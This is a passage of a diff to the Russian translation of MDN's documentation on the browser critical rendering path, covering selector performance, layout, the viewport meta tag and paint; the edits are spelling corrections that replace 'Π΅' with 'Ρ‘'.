-<p>Говоря ΠΎ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ сСлСкторов (selector), Π½Π°ΠΈΠΌΠ΅Π½Π΅Π΅ спСцифичныС сСлСкторы ΡΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ быстрСС. НапримСр,Β <code>.foo {}</code> сработаСт быстрСС <code>.bar .foo {}</code>. Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ случаС, условно, понадобится ΠΎΠ΄Π½Π° опСрация, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ элСмСнт <code>.foo</code>, Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ случаС, сначала Π±ΡƒΠ΄ΡƒΡ‚ найдСны всС <code>.foo</code>, Π°<strong> </strong>ΠΏΠΎΡ‚ΠΎΠΌ<strong> Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΡ€ΠΎΠΉΠ΄Π΅Ρ‚ Π²Π²Π΅Ρ€Ρ…</strong> ΠΏΠΎ Π΄Π΅Ρ€Π΅Π²Ρƒ Π² поисках Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта <code>.bar</code>. Π‘ΠΎΠ»Π΅Π΅ спСцифичныС сСлСкторы Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ ΠΎΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° большСго количСства Ρ€Π°Π±ΠΎΡ‚Ρ‹, Π½ΠΎ эти ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, вСроятно, Π½Π΅ стоят ΠΈΡ… ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ.</p>
+<p>Говоря ΠΎ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ сСлСкторов (selector), Π½Π°ΠΈΠΌΠ΅Π½Π΅Π΅ спСцифичныС сСлСкторы ΡΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ быстрСС. НапримСр,Β <code>.foo {}</code> сработаСт быстрСС <code>.bar .foo {}</code>. Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ случаС, условно, понадобится ΠΎΠ΄Π½Π° опСрация, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ элСмСнт <code>.foo</code>, Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ случаС, сначала Π±ΡƒΠ΄ΡƒΡ‚ найдСны всС <code>.foo</code>, Π°<strong> </strong>ΠΏΠΎΡ‚ΠΎΠΌ<strong> Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΡ€ΠΎΠΉΠ΄Ρ‘Ρ‚ Π²Π²Π΅Ρ€Ρ…</strong> ΠΏΠΎ Π΄Π΅Ρ€Π΅Π²Ρƒ Π² поисках Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта <code>.bar</code>. Π‘ΠΎΠ»Π΅Π΅ спСцифичныС сСлСкторы Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ ΠΎΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° большСго количСства Ρ€Π°Π±ΠΎΡ‚Ρ‹, Π½ΠΎ эти ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, вСроятно, Π½Π΅ стоят ΠΈΡ… ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ.</p>
<p>Если Π²Ρ‹ ΠΈΠ·ΠΌΠ΅Ρ€ΠΈΡ‚Π΅ врСмя, Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΠΎΠ΅ Π½Π° парсинг CSS, Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡƒΠ΄ΠΈΠ²Π»Π΅Π½Ρ‹ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ быстро Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹. Π‘ΠΎΠ»Π΅Π΅ спСцифичныС ΠΏΡ€Π°Π²ΠΈΠ»Π° Π±ΠΎΠ»Π΅Π΅ Π·Π°Ρ‚Ρ€Π°Ρ‚Π½Ρ‹, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ ΠΎΠ±Ρ…ΠΎΠ΄Π° большСго числа узлов Π² DOM Π΄Π΅Ρ€Π΅Π²Π΅, Π½ΠΎ эта Π΄ΠΎΡ€ΠΎΠ³ΠΎΠ²ΠΈΠ·Π½Π° обходится довольно Π΄Ρ‘ΡˆΠ΅Π²ΠΎ, особСнно Π² сравнСнии с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΡƒΠ·ΠΊΠΈΠΌΠΈ мСстами ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. <u>Π‘Π½Π°Ρ‡Π°Π»Π° измСряйтС. ΠŸΠΎΡ‚ΠΎΠΌ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΡƒΠΉΡ‚Π΅, Ссли это Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ.</u> ВСроятно, ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ сСлСкторов Π½Π΅ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°Ρ‚ΠΎΡ€ΠΌΠ°ΠΆΠΈΠ²Π°Π΅Ρ‚ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅. Когда Π΄Π΅Π»ΠΎ Π΄ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ Π΄ΠΎ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ CSS, ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ сСлСкторов ускоряСт Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ лишь Π½Π° микросСкунды. Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ <a href="/en-US/docs/Learn/Performance/CSS_performance">ΠΏΡƒΡ‚ΠΈ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈΒ CSS</a>, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ унификация, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ CSS-Ρ„Π°ΠΉΠ»ΠΎΠ² Π½Π° Ρ€Π°Π·Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ Π½Π° основС media-queries.</p>
@@ -43,17 +43,17 @@ translation_of: Web/Performance/Critical_rendering_path
<p>Π’ Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π° (render tree) построСно, становится Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ этап ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ (layout). Компоновка зависит ΠΎΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² экрана. Π­Ρ‚ΠΎΡ‚ этап опрСдСляСт, Π³Π΄Π΅ ΠΈ ΠΊΠ°ΠΊ Π½Π° страницС Π±ΡƒΠ΄ΡƒΡ‚ спозиционированы элСмСнты ΠΈ ΠΊΠ°ΠΊΠΎΠ²Ρ‹ связи ΠΌΠ΅ΠΆΠ΄Ρƒ элСмСнтами.</p>
-<p>Π§Ρ‚ΠΎ насчСт ΡˆΠΈΡ€ΠΈΠ½Ρ‹ элСмСнта? Π‘Π»ΠΎΡ‡Π½Ρ‹Π΅ элСмСнт ΠΏΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΡŽ ΠΈΠΌΠ΅ΡŽΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π² 100% ΠΎΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΈΡ… родитСля. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ с ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ Π² 50% Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π² Π΄Π²Π° Ρ€Π°Π·Π° мСньшС Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΉ. Если Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ ΠΈΠ½ΠΎΠ³ΠΎ, элСмСнт body ΠΈΠΌΠ΅Π΅Ρ‚ ΡˆΠΈΡ€ΠΈΠ½Ρƒ 100%, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ 100% ΡˆΠΈΡ€ΠΈΠ½Ρ‹ родитСля - Π²ΠΈΠ΄ΠΈΠΌΠΎΠΉ области viewport (ΠΎΠΊΠ½Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°).</p>
+<p>Π§Ρ‚ΠΎ насчёт ΡˆΠΈΡ€ΠΈΠ½Ρ‹ элСмСнта? Π‘Π»ΠΎΡ‡Π½Ρ‹Π΅ элСмСнт ΠΏΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΡŽ ΠΈΠΌΠ΅ΡŽΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π² 100% ΠΎΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΈΡ… родитСля. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ с ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ Π² 50% Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π² Π΄Π²Π° Ρ€Π°Π·Π° мСньшС Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΉ. Если Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ ΠΈΠ½ΠΎΠ³ΠΎ, элСмСнт body ΠΈΠΌΠ΅Π΅Ρ‚ ΡˆΠΈΡ€ΠΈΠ½Ρƒ 100%, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ 100% ΡˆΠΈΡ€ΠΈΠ½Ρ‹ родитСля - Π²ΠΈΠ΄ΠΈΠΌΠΎΠΉ области viewport (ΠΎΠΊΠ½Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°).</p>
<p>ΠœΠ΅Ρ‚Π° тэг viewport, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π² Head страницы, опрСдСляСт ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π²ΠΈΠ΄ΠΈΠΌΠΎΠΉ области ΠΈ влияСт Π½Π° ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΡƒ. Π‘Π΅Π· этого тэга Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρƒ "ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ", которая ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ составляСт 960px. Π’ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ…ΡΡ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² полноэкранном Ρ€Π΅ΠΆΠΈΠΌΠ΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π°, установка Ρ‚Π΅Π³Π° <code>&lt;meta name="viewport" content="width=device-width"&gt;</code> установит ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π²ΠΈΠ΄ΠΈΠΌΠΎΠΉ области Π² 100% ΠΎΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ экрана устройства, вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Π­Ρ‚Π° ΡˆΠΈΡ€ΠΈΠ½Π° (<code>device-width)</code> измСняСтся ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠ²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅Ρ‚ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ запуску этапа ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ. Π Π°Π²Π½ΠΎ ΠΊΠ°ΠΊ ΠΈ ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² ΠΎΠΊΠ½Π° Π² ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅.</p>
-<p>На ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ (layout) нСпосрСдствСнно влияСт DOM - Ρ‡Π΅ΠΌ большС ΡƒΠ·Π»ΠΎΠ² (nodes) Π² вашСм Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, Ρ‚Π΅ΠΌ большС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ понадобится Π½Π° пСрСрасчСт ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΉ ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² всСх элСмСнтов. Компоновка ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΡƒΠ·ΠΊΠΈΠΌ мСстом, Π²Π΅Π΄ΡƒΡ‰ΠΈΠΌ ΠΊ зависаниям, особСнно Ссли выполняСт ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ со скроллом ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠ΅ΠΉ. И хотя Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ° 20мс ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ экрана ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΠΎΠΉ, это всС Ρ€Π°Π²Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ подвисаниям ΠΏΡ€ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΈ скроллС. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π° (render tree) модифицируСтся, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ·-Π·Π° добавлСния ΡƒΠ·Π»Π° (node), Π΅Π³ΠΎ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈΠ»ΠΈ ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ стилСй box-ΠΌΠΎΠ΄Π΅Π»ΠΈ, запускаСтся ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠ°.</p>
+<p>На ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ (layout) нСпосрСдствСнно влияСт DOM - Ρ‡Π΅ΠΌ большС ΡƒΠ·Π»ΠΎΠ² (nodes) Π² вашСм Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, Ρ‚Π΅ΠΌ большС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ понадобится Π½Π° пСрСрасчёт ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΉ ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² всСх элСмСнтов. Компоновка ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΡƒΠ·ΠΊΠΈΠΌ мСстом, Π²Π΅Π΄ΡƒΡ‰ΠΈΠΌ ΠΊ зависаниям, особСнно Ссли выполняСт ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ со скроллом ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠ΅ΠΉ. И хотя Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ° 20мс ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ экрана ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΠΎΠΉ, это всС Ρ€Π°Π²Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ подвисаниям ΠΏΡ€ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΈ скроллС. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π° (render tree) модифицируСтся, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ·-Π·Π° добавлСния ΡƒΠ·Π»Π° (node), Π΅Π³ΠΎ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈΠ»ΠΈ ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ стилСй box-ΠΌΠΎΠ΄Π΅Π»ΠΈ, запускаСтся ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠ°.</p>
<p>Для ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ частоты ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ этого этапа, Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ обновлСния экрана ΠΈ ΠΈΠ·Π±Π΅Π³Π°ΠΉΡ‚Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ свойств, связанных с box-модСлью элСмСнтов.</p>
<h3 id="ΠžΡ‚Ρ€ΠΈΡΠΎΠ²ΠΊΠ°_Paint">ΠžΡ‚Ρ€ΠΈΡΠΎΠ²ΠΊΠ° (Paint)</h3>
-<p>ПослСдний этап Π² нашСм спискС - отрисовка (paint) пиксСлСй Π½Π° экранС. Когда Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π° (render tree) создано, ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠ° (layout) ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»Π°, пиксСли ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ отрисованы. ΠŸΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° (onload) вСсь экран Π±ΡƒΠ΄Π΅Ρ‚ отрисован. ПослС этого Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ ΠΊ обновлСнию части экрана Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅Ρ€ΠΈΡΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒΡΡ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ стараСтся ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ процСсс отрисовки, избСгая Π½Π΅Π½ΡƒΠΆΠ½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹. Π’Π°ΠΊ, Ссли Ρƒ вас Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ Π΅ΡΡ‚ΡŒ Π΄Π²Π° элСмСнта, ΠΏΠ΅Ρ€Π΅Ρ€ΠΈΡΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»ΠΈ. ВрСмя отрисовки зависит ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΎΠΉ Ρ‚ΠΈΠΏ обновлСния примСнился ΠΊ Π΄Π΅Ρ€Π΅Π²Ρƒ Ρ€Π΅Π½Π΄Π΅Ρ€Π° (render tree). И хотя отрисовка - это ΠΎΡ‡Π΅Π½ΡŒ быстрый процСсс, ΠΈ ΠΎΠ½, вСроятно, слабо влияСт Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π° этапа - ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠ° (layout) ΠΈ отрисовка (paint) Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ сообща ΠΈ ΡƒΠΊΠ»Π°Π΄Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π² частоту обновлСния ΠΊΠ°Π΄Ρ€ΠΎΠ². КаТдоС CSS-свойство, примСняСмоС ΠΊ Π»ΡŽΠ±ΠΎΠΌΡƒ ΡƒΠ·Π»Ρƒ (node) ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ врСмя отрисовки, Π½ΠΎ ΠΏΠΎΠ»Π½ΠΎΠ΅ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ стиля, способноС ΡΡΠΊΠΎΠ½ΠΎΠΌΠΈΡ‚ΡŒ Π²Π°ΠΌ 0.001мс, вряд Π»ΠΈ даст Π²Π°ΠΌ ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Π½ΠΎ Π·Π°Ρ‚ΠΎ с Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒΡŽ ΡƒΡ…ΡƒΠ΄ΡˆΠΈΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ ΠΎΠΏΡ‹Ρ‚. <strong>ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅ - сначала Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Ρ€ΡΡ‚ΡŒ, Π° ΠΏΠΎΡ‚ΠΎΠΌ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ΅!</strong></p>
+<p>ПослСдний этап Π² нашСм спискС - отрисовка (paint) пиксСлСй Π½Π° экранС. Когда Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π° (render tree) создано, ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠ° (layout) ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»Π°, пиксСли ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ отрисованы. ΠŸΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° (onload) вСсь экран Π±ΡƒΠ΄Π΅Ρ‚ отрисован. ПослС этого Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ ΠΊ обновлСнию части экрана Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅Ρ€ΠΈΡΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒΡΡ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ стараСтся ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ процСсс отрисовки, избСгая Π½Π΅Π½ΡƒΠΆΠ½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹. Π’Π°ΠΊ, Ссли Ρƒ вас Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ Π΅ΡΡ‚ΡŒ Π΄Π²Π° элСмСнта, ΠΏΠ΅Ρ€Π΅Ρ€ΠΈΡΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»ΠΈ. ВрСмя отрисовки зависит ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΎΠΉ Ρ‚ΠΈΠΏ обновлСния примСнился ΠΊ Π΄Π΅Ρ€Π΅Π²Ρƒ 